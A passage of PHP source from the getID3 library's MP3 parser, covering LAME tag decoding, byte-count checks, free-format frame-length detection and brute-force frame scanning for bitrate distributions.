							$thisfile_mpeg_audio_lame['noise_shaping']       = $thisfile_mpeg_audio_lame_raw['noise_shaping'];
							$thisfile_mpeg_audio_lame['stereo_mode']         = self::LAMEmiscStereoModeLookup($thisfile_mpeg_audio_lame_raw['stereo_mode']);
							$thisfile_mpeg_audio_lame['not_optimal_quality'] = (bool) $thisfile_mpeg_audio_lame_raw['not_optimal_quality'];
							$thisfile_mpeg_audio_lame['source_sample_freq']  = self::LAMEmiscSourceSampleFrequencyLookup($thisfile_mpeg_audio_lame_raw['source_sample_freq']);

							// byte $B5  MP3 Gain
							$thisfile_mpeg_audio_lame_raw['mp3_gain'] = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xB5, 1), false, true);
							$thisfile_mpeg_audio_lame['mp3_gain_db']     = (getid3_lib::RGADamplitude2dB(2) / 4) * $thisfile_mpeg_audio_lame_raw['mp3_gain'];
							$thisfile_mpeg_audio_lame['mp3_gain_factor'] = pow(2, ($thisfile_mpeg_audio_lame['mp3_gain_db'] / 6));

							// bytes $B6-$B7  Preset and surround info
							$PresetSurroundBytes = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xB6, 2));
							// Reserved                                                    = ($PresetSurroundBytes & 0xC000);
							$thisfile_mpeg_audio_lame_raw['surround_info'] = ($PresetSurroundBytes & 0x3800);
							$thisfile_mpeg_audio_lame['surround_info']     = self::LAMEsurroundInfoLookup($thisfile_mpeg_audio_lame_raw['surround_info']);
							$thisfile_mpeg_audio_lame['preset_used_id']    = ($PresetSurroundBytes & 0x07FF);
							$thisfile_mpeg_audio_lame['preset_used']       = self::LAMEpresetUsedLookup($thisfile_mpeg_audio_lame);
							if (!empty($thisfile_mpeg_audio_lame['preset_used_id']) && empty($thisfile_mpeg_audio_lame['preset_used'])) {
								$this->warning('Unknown LAME preset used ('.$thisfile_mpeg_audio_lame['preset_used_id'].') - please report to info@getid3.org');
							}
							if (($thisfile_mpeg_audio_lame['short_version'] == 'LAME3.90.') && !empty($thisfile_mpeg_audio_lame['preset_used_id'])) {
								// this may change if 3.90.4 ever comes out
								$thisfile_mpeg_audio_lame['short_version'] = 'LAME3.90.3';
							}

							// bytes $B8-$BB  MusicLength
							$thisfile_mpeg_audio_lame['audio_bytes'] = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xB8, 4));
							$ExpectedNumberOfAudioBytes = (($thisfile_mpeg_audio_lame['audio_bytes'] > 0) ? $thisfile_mpeg_audio_lame['audio_bytes'] : $thisfile_mpeg_audio['VBR_bytes']);

							// bytes $BC-$BD  MusicCRC
							$thisfile_mpeg_audio_lame['music_crc']    = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xBC, 2));

							// bytes $BE-$BF  CRC-16 of Info Tag
							$thisfile_mpeg_audio_lame['lame_tag_crc'] = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xBE, 2));


							// LAME CBR
							if ($thisfile_mpeg_audio_lame_raw['vbr_method'] == 1 && $thisfile_mpeg_audio['bitrate'] !== 'free') {

								$thisfile_mpeg_audio['bitrate_mode'] = 'cbr';
								$thisfile_mpeg_audio['bitrate'] = self::ClosestStandardMP3Bitrate($thisfile_mpeg_audio['bitrate']);
								$info['audio']['bitrate'] = $thisfile_mpeg_audio['bitrate'];
								//if (empty($thisfile_mpeg_audio['bitrate']) || (!empty($thisfile_mpeg_audio_lame['bitrate_min']) && ($thisfile_mpeg_audio_lame['bitrate_min'] != 255))) {
								//	$thisfile_mpeg_audio['bitrate'] = $thisfile_mpeg_audio_lame['bitrate_min'];
								//}

							}

						}
					}
				}

			} else {

				// not Fraunhofer or Xing VBR methods, most likely CBR (but could be VBR with no header)
				$thisfile_mpeg_audio['bitrate_mode'] = 'cbr';
				if ($recursivesearch) {
					$thisfile_mpeg_audio['bitrate_mode'] = 'vbr';
					if ($this->RecursiveFrameScanning($offset, $nextframetestoffset, true)) {
						$recursivesearch = false;
						$thisfile_mpeg_audio['bitrate_mode'] = 'cbr';
					}
					if ($thisfile_mpeg_audio['bitrate_mode'] == 'vbr') {
						$this->warning('VBR file with no VBR header. Bitrate values calculated from actual frame bitrates.');
					}
				}

			}

		}

		if (($ExpectedNumberOfAudioBytes > 0) && ($ExpectedNumberOfAudioBytes != ($info['avdataend'] - $info['avdataoffset']))) {
			if ($ExpectedNumberOfAudioBytes > ($info['avdataend'] - $info['avdataoffset'])) {
				if ($this->isDependencyFor('matroska') || $this->isDependencyFor('riff')) {
					// ignore, audio data is broken into chunks so will always be data "missing"
				}
				elseif (($ExpectedNumberOfAudioBytes - ($info['avdataend'] - $info['avdataoffset'])) == 1) {
					$this->warning('Last byte of data truncated (this is a known bug in Meracl ID3 Tag Writer before v1.3.5)');
				}
				else {
					$this->warning('Probable truncated file: expecting '.$ExpectedNumberOfAudioBytes.' bytes of audio data, only found '.($info['avdataend'] - $info['avdataoffset']).' (short by '.($ExpectedNumberOfAudioBytes - ($info['avdataend'] - $info['avdataoffset'])).' bytes)');
				}
			} else {
				if ((($info['avdataend'] - $info['avdataoffset']) - $ExpectedNumberOfAudioBytes) == 1) {
				//	$prenullbytefileoffset = $this->ftell();
				//	$this->fseek($info['avdataend']);
				//	$PossibleNullByte = $this->fread(1);
				//	$this->fseek($prenullbytefileoffset);
				//	if ($PossibleNullByte === "\x00") {
						$info['avdataend']--;
				//		$this->warning('Extra null byte at end of MP3 data assumed to be RIFF padding and therefore ignored');
				//	} else {
				//		$this->warning('Too much data in file: expecting '.$ExpectedNumberOfAudioBytes.' bytes of audio data, found '.($info['avdataend'] - $info['avdataoffset']).' ('.(($info['avdataend'] - $info['avdataoffset']) - $ExpectedNumberOfAudioBytes).' bytes too many)');
				//	}
				} else {
					$this->warning('Too much data in file: expecting '.$ExpectedNumberOfAudioBytes.' bytes of audio data, found '.($info['avdataend'] - $info['avdataoffset']).' ('.(($info['avdataend'] - $info['avdataoffset']) - $ExpectedNumberOfAudioBytes).' bytes too many)');
				}
			}
		}

		if (($thisfile_mpeg_audio['bitrate'] == 'free') && empty($info['audio']['bitrate'])) {
			if (($offset == $info['avdataoffset']) && empty($thisfile_mpeg_audio['VBR_frames'])) {
				$framebytelength = $this->FreeFormatFrameLength($offset, true);
				if ($framebytelength > 0) {
					$thisfile_mpeg_audio['framelength'] = $framebytelength;
					if ($thisfile_mpeg_audio['layer'] == '1') {
						// BitRate = (((FrameLengthInBytes / 4) - Padding) * SampleRate) / 12
						$info['audio']['bitrate'] = ((($framebytelength / 4) - intval($thisfile_mpeg_audio['padding'])) * $thisfile_mpeg_audio['sample_rate']) / 12;
					} else {
						// Bitrate = ((FrameLengthInBytes - Padding) * SampleRate) / 144
						$info['audio']['bitrate'] = (($framebytelength - intval($thisfile_mpeg_audio['padding'])) * $thisfile_mpeg_audio['sample_rate']) / 144;
					}
				} else {
					$this->error('Error calculating frame length of free-format MP3 without Xing/LAME header');
				}
			}
		}

		if (isset($thisfile_mpeg_audio['VBR_frames']) ? $thisfile_mpeg_audio['VBR_frames'] : '') {
			switch ($thisfile_mpeg_audio['bitrate_mode']) {
				case 'vbr':
				case 'abr':
					$bytes_per_frame = 1152;
					if (($thisfile_mpeg_audio['version'] == '1') && ($thisfile_mpeg_audio['layer'] == 1)) {
						$bytes_per_frame = 384;
					} elseif ((($thisfile_mpeg_audio['version'] == '2') || ($thisfile_mpeg_audio['version'] == '2.5')) && ($thisfile_mpeg_audio['layer'] == 3)) {
						$bytes_per_frame = 576;
					}
					$thisfile_mpeg_audio['VBR_bitrate'] = (isset($thisfile_mpeg_audio['VBR_bytes']) ? (($thisfile_mpeg_audio['VBR_bytes'] / $thisfile_mpeg_audio['VBR_frames']) * 8) * ($info['audio']['sample_rate'] / $bytes_per_frame) : 0);
					if ($thisfile_mpeg_audio['VBR_bitrate'] > 0) {
						$info['audio']['bitrate']       = $thisfile_mpeg_audio['VBR_bitrate'];
						$thisfile_mpeg_audio['bitrate'] = $thisfile_mpeg_audio['VBR_bitrate']; // to avoid confusion
					}
					break;
			}
		}

		// End variable-bitrate headers
		////////////////////////////////////////////////////////////////////////////////////

		if ($recursivesearch) {

			if (!$this->RecursiveFrameScanning($offset, $nextframetestoffset, $ScanAsCBR)) {
				return false;
			}
			if (!empty($this->getid3->info['mp3_validity_check_bitrates']) && !empty($thisfile_mpeg_audio['bitrate_mode']) && ($thisfile_mpeg_audio['bitrate_mode'] == 'vbr') && !empty($thisfile_mpeg_audio['VBR_bitrate'])) {
				// https://github.com/JamesHeinrich/getID3/issues/287
				if (count(array_keys($this->getid3->info['mp3_validity_check_bitrates'])) == 1) {
					list($cbr_bitrate_in_short_scan) = array_keys($this->getid3->info['mp3_validity_check_bitrates']);
					$deviation_cbr_from_header_bitrate = abs($thisfile_mpeg_audio['VBR_bitrate'] - $cbr_bitrate_in_short_scan) / $cbr_bitrate_in_short_scan;
					if ($deviation_cbr_from_header_bitrate < 0.01) {
						// VBR header bitrate may differ slightly from true bitrate of frames, perhaps accounting for overhead of VBR header frame itself?
						// If measured CBR bitrate is within 1% of specified bitrate in VBR header then assume that file is truly CBR
						$thisfile_mpeg_audio['bitrate_mode'] = 'cbr';
						//$this->warning('VBR header ignored, assuming CBR '.round($cbr_bitrate_in_short_scan / 1000).'kbps based on scan of '.$this->mp3_valid_check_frames.' frames');
					}
				}
			}
			if (isset($this->getid3->info['mp3_validity_check_bitrates'])) {
				unset($this->getid3->info['mp3_validity_check_bitrates']);
			}

		}


		//if (false) {
		//    // experimental side info parsing section - not returning anything useful yet
		//
		//    $SideInfoBitstream = getid3_lib::BigEndian2Bin($SideInfoData);
		//    $SideInfoOffset = 0;
		//
		//    if ($thisfile_mpeg_audio['version'] == '1') {
		//        if ($thisfile_mpeg_audio['channelmode'] == 'mono') {
		//            // MPEG-1 (mono)
		//            $thisfile_mpeg_audio['side_info']['main_data_begin'] = substr($SideInfoBitstream, $SideInfoOffset, 9);
		//            $SideInfoOffset += 9;
		//            $SideInfoOffset += 5;
		//        } else {
		//            // MPEG-1 (stereo, joint-stereo, dual-channel)
		//            $thisfile_mpeg_audio['side_info']['main_data_begin'] = substr($SideInfoBitstream, $SideInfoOffset, 9);
		//            $SideInfoOffset += 9;
		//            $SideInfoOffset += 3;
		//        }
		//    } else { // 2 or 2.5
		//        if ($thisfile_mpeg_audio['channelmode'] == 'mono') {
		//            // MPEG-2, MPEG-2.5 (mono)
		//            $thisfile_mpeg_audio['side_info']['main_data_begin'] = substr($SideInfoBitstream, $SideInfoOffset, 8);
		//            $SideInfoOffset += 8;
		//            $SideInfoOffset += 1;
		//        } else {
		//            // MPEG-2, MPEG-2.5 (stereo, joint-stereo, dual-channel)
		//            $thisfile_mpeg_audio['side_info']['main_data_begin'] = substr($SideInfoBitstream, $SideInfoOffset, 8);
		//            $SideInfoOffset += 8;
		//            $SideInfoOffset += 2;
		//        }
		//    }
		//
		//    if ($thisfile_mpeg_audio['version'] == '1') {
		//        for ($channel = 0; $channel < $info['audio']['channels']; $channel++) {
		//            for ($scfsi_band = 0; $scfsi_band < 4; $scfsi_band++) {
		//                $thisfile_mpeg_audio['scfsi'][$channel][$scfsi_band] = substr($SideInfoBitstream, $SideInfoOffset, 1);
		//                $SideInfoOffset += 2;
		//            }
		//        }
		//    }
		//    for ($granule = 0; $granule < (($thisfile_mpeg_audio['version'] == '1') ? 2 : 1); $granule++) {
		//        for ($channel = 0; $channel < $info['audio']['channels']; $channel++) {
		//            $thisfile_mpeg_audio['part2_3_length'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 12);
		//            $SideInfoOffset += 12;
		//            $thisfile_mpeg_audio['big_values'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 9);
		//            $SideInfoOffset += 9;
		//            $thisfile_mpeg_audio['global_gain'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 8);
		//            $SideInfoOffset += 8;
		//            if ($thisfile_mpeg_audio['version'] == '1') {
		//                $thisfile_mpeg_audio['scalefac_compress'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 4);
		//                $SideInfoOffset += 4;
		//            } else {
		//                $thisfile_mpeg_audio['scalefac_compress'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 9);
		//                $SideInfoOffset += 9;
		//            }
		//            $thisfile_mpeg_audio['window_switching_flag'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 1);
		//            $SideInfoOffset += 1;
		//
		//            if ($thisfile_mpeg_audio['window_switching_flag'][$granule][$channel] == '1') {
		//
		//                $thisfile_mpeg_audio['block_type'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 2);
		//                $SideInfoOffset += 2;
		//                $thisfile_mpeg_audio['mixed_block_flag'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 1);
		//                $SideInfoOffset += 1;
		//
		//                for ($region = 0; $region < 2; $region++) {
		//                    $thisfile_mpeg_audio['table_select'][$granule][$channel][$region] = substr($SideInfoBitstream, $SideInfoOffset, 5);
		//                    $SideInfoOffset += 5;
		//                }
		//                $thisfile_mpeg_audio['table_select'][$granule][$channel][2] = 0;
		//
		//                for ($window = 0; $window < 3; $window++) {
		//                    $thisfile_mpeg_audio['subblock_gain'][$granule][$channel][$window] = substr($SideInfoBitstream, $SideInfoOffset, 3);
		//                    $SideInfoOffset += 3;
		//                }
		//
		//            } else {
		//
		//                for ($region = 0; $region < 3; $region++) {
		//                    $thisfile_mpeg_audio['table_select'][$granule][$channel][$region] = substr($SideInfoBitstream, $SideInfoOffset, 5);
		//                    $SideInfoOffset += 5;
		//                }
		//
		//                $thisfile_mpeg_audio['region0_count'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 4);
		//                $SideInfoOffset += 4;
		//                $thisfile_mpeg_audio['region1_count'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 3);
		//                $SideInfoOffset += 3;
		//                $thisfile_mpeg_audio['block_type'][$granule][$channel] = 0;
		//            }
		//
		//            if ($thisfile_mpeg_audio['version'] == '1') {
		//                $thisfile_mpeg_audio['preflag'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 1);
		//                $SideInfoOffset += 1;
		//            }
		//            $thisfile_mpeg_audio['scalefac_scale'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 1);
		//            $SideInfoOffset += 1;
		//            $thisfile_mpeg_audio['count1table_select'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 1);
		//            $SideInfoOffset += 1;
		//        }
		//    }
		//}

		return true;
	}

	/**
	 * @param int $offset
	 * @param int $nextframetestoffset
	 * @param bool $ScanAsCBR
	 *
	 * @return bool
	 */
	public function RecursiveFrameScanning(&$offset, &$nextframetestoffset, $ScanAsCBR) {
		$info = &$this->getid3->info;
		$firstframetestarray = array('error' => array(), 'warning'=> array(), 'avdataend' => $info['avdataend'], 'avdataoffset' => $info['avdataoffset']);
		$this->decodeMPEGaudioHeader($offset, $firstframetestarray, false);

		$info['mp3_validity_check_bitrates'] = array();
		for ($i = 0; $i < $this->mp3_valid_check_frames; $i++) {
			// check next (default: 50) frames for validity, to make sure we haven't run across a false synch
			if (($nextframetestoffset + 4) >= $info['avdataend']) {
				// end of file
				return true;
			}

			$nextframetestarray = array('error' => array(), 'warning' => array(), 'avdataend' => $info['avdataend'], 'avdataoffset'=>$info['avdataoffset']);
			if ($this->decodeMPEGaudioHeader($nextframetestoffset, $nextframetestarray, false)) {
				/** @phpstan-ignore-next-line */
				getid3_lib::safe_inc($info['mp3_validity_check_bitrates'][$nextframetestarray['mpeg']['audio']['bitrate']]);
				if ($ScanAsCBR) {
					// force CBR mode, used for trying to pick out invalid audio streams with valid(?) VBR headers, or VBR streams with no VBR header
					if (!isset($nextframetestarray['mpeg']['audio']['bitrate']) || !isset($firstframetestarray['mpeg']['audio']['bitrate']) || ($nextframetestarray['mpeg']['audio']['bitrate'] != $firstframetestarray['mpeg']['audio']['bitrate'])) {
						return false;
					}
				}


				// next frame is OK, get ready to check the one after that
				if (isset($nextframetestarray['mpeg']['audio']['framelength']) && ($nextframetestarray['mpeg']['audio']['framelength'] > 0)) {
					$nextframetestoffset += $nextframetestarray['mpeg']['audio']['framelength'];
				} else {
					$this->error('Frame at offset ('.$offset.') is has an invalid frame length.');
					return false;
				}

			} elseif (!empty($firstframetestarray['mpeg']['audio']['framelength']) && (($nextframetestoffset + $firstframetestarray['mpeg']['audio']['framelength']) > $info['avdataend'])) {

				// it's not the end of the file, but there's not enough data left for another frame, so assume it's garbage/padding and return OK
				return true;

			} else {

				// next frame is not valid, note the error and fail, so scanning can contiue for a valid frame sequence
				$this->warning('Frame at offset ('.$offset.') is valid, but the next one at ('.$nextframetestoffset.') is not.');

				return false;
			}
		}
		return true;
	}

	/**
	 * @param int  $offset
	 * @param bool $deepscan
	 *
	 * @return int|false
	 */
	public function FreeFormatFrameLength($offset, $deepscan=false) {
		$info = &$this->getid3->info;

		$this->fseek($offset);
		$MPEGaudioData = $this->fread(32768);

		$SyncPattern1 = substr($MPEGaudioData, 0, 4);
		// may be different pattern due to padding
		$SyncPattern2 = $SyncPattern1[0].$SyncPattern1[1].chr(ord($SyncPattern1[2]) | 0x02).$SyncPattern1[3];
		if ($SyncPattern2 === $SyncPattern1) {
			$SyncPattern2 = $SyncPattern1[0].$SyncPattern1[1].chr(ord($SyncPattern1[2]) & 0xFD).$SyncPattern1[3];
		}

		$framelength = false;
		$framelength1 = strpos($MPEGaudioData, $SyncPattern1, 4);
		$framelength2 = strpos($MPEGaudioData, $SyncPattern2, 4);
		if ($framelength1 > 4) {
			$framelength = $framelength1;
		}
		if (($framelength2 > 4) && ($framelength2 < $framelength1)) {
			$framelength = $framelength2;
		}
		if (!$framelength) {

			// LAME 3.88 has a different value for modeextension on the first frame vs the rest
			$framelength1 = strpos($MPEGaudioData, substr($SyncPattern1, 0, 3), 4);
			$framelength2 = strpos($MPEGaudioData, substr($SyncPattern2, 0, 3), 4);

			if ($framelength1 > 4) {
				$framelength = $framelength1;
			}
			if (($framelength2 > 4) && ($framelength2 < $framelength1)) {
				$framelength = $framelength2;
			}
			if (!$framelength) {
				$this->error('Cannot find next free-format synch pattern ('.getid3_lib::PrintHexBytes($SyncPattern1).' or '.getid3_lib::PrintHexBytes($SyncPattern2).') after offset '.$offset);
				return false;
			} else {
				$this->warning('ModeExtension varies between first frame and other frames (known free-format issue in LAME 3.88)');
				$info['audio']['codec']   = 'LAME';
				$info['audio']['encoder'] = 'LAME3.88';
				$SyncPattern1 = substr($SyncPattern1, 0, 3);
				$SyncPattern2 = substr($SyncPattern2, 0, 3);
			}
		}

		if ($deepscan) {

			$ActualFrameLengthValues = array();
			$nextoffset = $offset + $framelength;
			while ($nextoffset < ($info['avdataend'] - 6)) {
				$this->fseek($nextoffset - 1);
				$NextSyncPattern = $this->fread(6);
				if ((substr($NextSyncPattern, 1, strlen($SyncPattern1)) == $SyncPattern1) || (substr($NextSyncPattern, 1, strlen($SyncPattern2)) == $SyncPattern2)) {
					// good - found where expected
					$ActualFrameLengthValues[] = $framelength;
				} elseif ((substr($NextSyncPattern, 0, strlen($SyncPattern1)) == $SyncPattern1) || (substr($NextSyncPattern, 0, strlen($SyncPattern2)) == $SyncPattern2)) {
					// ok - found one byte earlier than expected (last frame wasn't padded, first frame was)
					$ActualFrameLengthValues[] = ($framelength - 1);
					$nextoffset--;
				} elseif ((substr($NextSyncPattern, 2, strlen($SyncPattern1)) == $SyncPattern1) || (substr($NextSyncPattern, 2, strlen($SyncPattern2)) == $SyncPattern2)) {
					// ok - found one byte later than expected (last frame was padded, first frame wasn't)
					$ActualFrameLengthValues[] = ($framelength + 1);
					$nextoffset++;
				} else {
					$this->error('Did not find expected free-format sync pattern at offset '.$nextoffset);
					return false;
				}
				$nextoffset += $framelength;
			}
			if (count($ActualFrameLengthValues) > 0) {
				$framelength = intval(round(array_sum($ActualFrameLengthValues) / count($ActualFrameLengthValues)));
			}
		}
		return $framelength;
	}

	/**
	 * @return bool
	 */
	public function getOnlyMPEGaudioInfoBruteForce() {
		$MPEGaudioHeaderDecodeCache   = array();
		$MPEGaudioHeaderValidCache    = array();
		$MPEGaudioHeaderLengthCache   = array();
		$MPEGaudioVersionLookup       = self::MPEGaudioVersionArray();
		$MPEGaudioLayerLookup         = self::MPEGaudioLayerArray();
		$MPEGaudioBitrateLookup       = self::MPEGaudioBitrateArray();
		$MPEGaudioFrequencyLookup     = self::MPEGaudioFrequencyArray();
		$MPEGaudioChannelModeLookup   = self::MPEGaudioChannelModeArray();
		$MPEGaudioModeExtensionLookup = self::MPEGaudioModeExtensionArray();
		$MPEGaudioEmphasisLookup      = self::MPEGaudioEmphasisArray();
		$LongMPEGversionLookup        = array();
		$LongMPEGlayerLookup          = array();
		$LongMPEGbitrateLookup        = array();
		$LongMPEGpaddingLookup        = array();
		$LongMPEGfrequencyLookup      = array();
		$Distribution                 = array();
		$Distribution['bitrate']      = array();
		$Distribution['frequency']    = array();
		$Distribution['layer']        = array();
		$Distribution['version']      = array();
		$Distribution['padding']      = array();

		$info = &$this->getid3->info;
		$this->fseek($info['avdataoffset']);

		$max_frames_scan = 5000;
		$frames_scanned  = 0;

		$previousvalidframe = $info['avdataoffset'];
		while ($this->ftell() < $info['avdataend']) {
			set_time_limit(30);
			$head4 = $this->fread(4);
			if (strlen($head4) < 4) {
				break;
			}
			if ($head4[0] != "\xFF") {
				for ($i = 1; $i < 4; $i++) {
					if ($head4[$i] == "\xFF") {
						$this->fseek($i - 4, SEEK_CUR);
						continue 2;
					}
				}
				continue;
			}
			if (!isset($MPEGaudioHeaderDecodeCache[$head4])) {
				$MPEGaudioHeaderDecodeCache[$head4] = self::MPEGaudioHeaderDecode($head4);
			}
			if (!isset($MPEGaudioHeaderValidCache[$head4])) {
				$MPEGaudioHeaderValidCache[$head4] = self::MPEGaudioHeaderValid($MPEGaudioHeaderDecodeCache[$head4], false, false);
			}
			if ($MPEGaudioHeaderValidCache[$head4]) {

				if (!isset($MPEGaudioHeaderLengthCache[$head4])) {
					$LongMPEGversionLookup[$head4]   = $MPEGaudioVersionLookup[$MPEGaudioHeaderDecodeCache[$head4]['version']];
					$LongMPEGlayerLookup[$head4]     = $MPEGaudioLayerLookup[$MPEGaudioHeaderDecodeCache[$head4]['layer']];
					$LongMPEGbitrateLookup[$head4]   = $MPEGaudioBitrateLookup[$LongMPEGversionLookup[$head4]][$LongMPEGlayerLookup[$head4]][$MPEGaudioHeaderDecodeCache[$head4]['bitrate']];
					$LongMPEGpaddingLookup[$head4]   = (bool) $MPEGaudioHeaderDecodeCache[$head4]['padding'];
					$LongMPEGfrequencyLookup[$head4] = $MPEGaudioFrequencyLookup[$LongMPEGversionLookup[$head4]][$MPEGaudioHeaderDecodeCache[$head4]['sample_rate']];
					$MPEGaudioHeaderLengthCache[$head4] = self::MPEGaudioFrameLength(
						$LongMPEGbitrateLookup[$head4],
						$LongMPEGversionLookup[$head4],
						$LongMPEGlayerLookup[$head4],
						$LongMPEGpaddingLookup[$head4],
						$LongMPEGfrequencyLookup[$head4]);
				}
				if ($MPEGaudioHeaderLengthCache[$head4] > 4) {
					$WhereWeWere = $this->ftell();
					$this->fseek($MPEGaudioHeaderLengthCache[$head4] - 4, SEEK_CUR);
					$next4 = $this->fread(4);
					if ($next4[0] == "\xFF") {
						if (!isset($MPEGaudioHeaderDecodeCache[$next4])) {
							$MPEGaudioHeaderDecodeCache[$next4] = self::MPEGaudioHeaderDecode($next4);
						}
						if (!isset($MPEGaudioHeaderValidCache[$next4])) {
							$MPEGaudioHeaderValidCache[$next4] = self::MPEGaudioHeaderValid($MPEGaudioHeaderDecodeCache[$next4], false, false);
						}
						if ($MPEGaudioHeaderValidCache[$next4]) {
							$this->fseek(-4, SEEK_CUR);

							$Distribution['bitrate'][$LongMPEGbitrateLookup[$head4]] = isset($Distribution['bitrate'][$LongMPEGbitrateLookup[$head4]]) ? ++$Distribution['bitrate'][$LongMPEGbitrateLookup[$head4]] : 1;
							$Distribution['layer'][$LongMPEGlayerLookup[$head4]] = isset($Distribution['layer'][$LongMPEGlayerLookup[$head4]]) ? ++$Distribution['layer'][$LongMPEGlayerLookup[$head4]] : 1;
							$Distribution['version'][$LongMPEGversionLookup[$head4]] = isset($Distribution['version'][$LongMPEGversionLookup[$head4]]) ? ++$Distribution['version'][$LongMPEGversionLookup[$head4]] : 1;
							$Distribution['padding'][intval($LongMPEGpaddingLookup[$head4])] = isset($Distribution['padding'][intval($LongMPEGpaddingLookup[$head4])]) ? ++$Distribution['padding'][intval($LongMPEGpaddingLookup[$head4])] : 1;
							$Distribution['frequency'][$LongMPEGfrequencyLookup[$head4]] = isset($Distribution['frequency'][$LongMPEGfrequencyLookup[$head4]]) ? ++$Distribution['frequency'][$LongMPEGfrequencyLookup[$head4]] : 1;
							if (++$frames_scanned >= $max_frames_scan) {
								$pct_data_scanned = getid3_lib::SafeDiv($this->ftell() - $info['avdataoffset'], $info['avdataend'] - $info['avdataoffset']);
								$this->warning('too many MPEG audio frames to scan, only scanned first '.$max_frames_scan.' frames ('.number_format($pct_data_scanned * 100, 1).'% of file) and extrapolated distribution, playtime and bitrate may be incorrect.');
								foreach ($Distribution as $key1 => $value1) {
									foreach ($value1 as $key2 => $value2) {
										$Distribution[$key1][$key2] = $pct_data_scanned ? round($value2 / $pct_data_scanned) : 1;
									}
								}
								break;
							}
							continue;
						}
					}
					unset($next4);
					$this->fseek($WhereWeWere - 3);
				}

			}
		}
		foreach ($Distribution as $key => $value) {
			ksort($Distribution[$key], SORT_NUMERIC);
		}
		ksort($Distribution['version'], SORT_STRING);
		$info['mpeg']['audio']['bitrate_distribution']   = $Distribution['bitrate'];
		$info['mpeg']['audio']['frequency_distribution'] = $Distribution['frequency'];
		$info['mpeg']['audio']['layer_distribution']     = $Distribution['layer'];
		$info['mpeg']['audio']['version_distribution']   = $Distribution['version'];
		$info['mpeg']['audio']['padding_distribution']   = $Distribution['padding'];
		if (count($Distribution['version']) > 1) {
			$this->error('Corrupt file - more than one MPEG version detected');
		}
		if (count($Distribution['layer']) > 1) {
			$this->error('Corrupt file - more than one MPEG layer detected');
		}
		if (count($Distribution['frequency']) > 1) {
			$this->error('Corrupt file - more than one MPEG sample rate detected');
		}


		$bittotal = 0;
		foreach ($Distribution['bitrate'] as $bitratevalue => $bitratecount) {
			if ($bitratevalue != 'free') {
				$bittotal += ($bitratevalue * $bitratecount);
			}
		}
		$info['mpeg']['audio']['frame_count']  = array_sum($Distribution['bitrate']);
		if ($info['mpeg']['audio']['frame_count'] == 0) {
			$this->error('no MPEG audio frames found');
			return false;
		}
		$info['mpeg']['audio']['bitrate']      = ($bittotal / $info['mpeg']['audio']['frame_count']);
		$info['mpeg']['audio']['bitrate_mode'] = ((count($Distribution['bitrate']) > 0) ? 'vbr' : 'cbr');
		$info['mpeg']['audio']['sample_rate']  = getid3_lib::array_max($Distribution['frequency'], true);

		$info['audio']['bitrate']      = $info['mpeg']['audio']['bitrate'];
		$info['audio']['bitrate_mode'] = $info['mpeg']['audio']['bitrate_mode'];
		$info['audio']['sample_rate']  = $info['mpeg']['audio']['sample_rate'];
		$info['audio']['dataformat']   = 'mp'.getid3_lib::array_max($Distribution['layer'], true);
		$info['fileformat']            = $info['audio']['dataformat'];

		return true;
	}

	/**
	 * @param int  $avdataoffset
	 * @param bool $BitrateHistogram
	 *
	 * @return bool
	 */
	public function getOnlyMPEGaudioInfo($avdataoffset, $BitrateHistogram=false) {
		// looks for synch, decodes MPEG audio header

		$info = &$this->getid3->info;

		static $MPEGaudioVersionLookup;
		static $MPEGaudioLayerLookup;
		static $MPEGaudioBitrateLookup;
		if (empty($MPEGaudioVersionLookup)) {
			$MPEGaudioVersionLookup = self::MPEGaudioVersionArray();
			$MPEGaudioLayerLookup   = self::MPEGaudioLayerArray();
			$MPEGaudioBitrateLookup = self::MPEGaudioBitrateArray();
		}

		$this->fseek($avdataoffset);
		$sync_seek_buffer_size = min(128 * 1024, $info['avdataend'] - $avdataoffset);
		if ($sync_seek_buffer_size <= 0) {
			$this->error('Invalid $sync_seek_buffer_size at offset '.$avdataoffset);
			return false;
		}
		$header = $this->fread($sync_seek_buffer_size);
		$sync_seek_buffer_size = strlen($header);
		$SynchSeekOffset = 0;
		$SyncSeekAttempts = 0;
		$SyncSeekAttemptsMax = 1000;
		$FirstFrameThisfileInfo = null;
		while ($SynchSeekOffset < $sync_seek_buffer_size) {
			if ((($avdataoffset + $SynchSeekOffset)  < $info['avdataend']) && !$this->feof()) {

				if ($SynchSeekOffset > $sync_seek_buffer_size) {
					// if a synch's not found within the first 128k bytes, then give up
					$this->error('Could not find valid MPEG audio synch within the first '.round($sync_seek_buffer_size / 1024).'kB');
					if (isset($info['audio']['bitrate'])) {
						unset($info['audio']['bitrate']);
					}
					if (isset($info['mpeg']['audio'])) {
						unset($info['mpeg']['audio']);
					}
					if (empty($info['mpeg'])) {
						unset($info['mpeg']);
					}
					return false;
				}
			}

			if (($SynchSeekOffset + 1) >= strlen($header)) {
				$this->error('Could not find valid MPEG synch before end of file');
				return false;
			}

			if (($header[$SynchSeekOffset] == "\xFF") && ($header[($SynchSeekOffset + 1)] > "\xE0")) { // possible synch detected
				if (++$SyncSeekAttempts >= $SyncSeekAttemptsMax) {
					// https://github.com/JamesHeinrich/getID3/issues/286
					// corrupt files claiming to be MP3, with a large number of 0xFF bytes near the beginning, can cause this loop to take a very long time
					// should have escape condition to avoid spending too much time scanning a corrupt file
					// if a synch's not found within the first 128k bytes, then give up
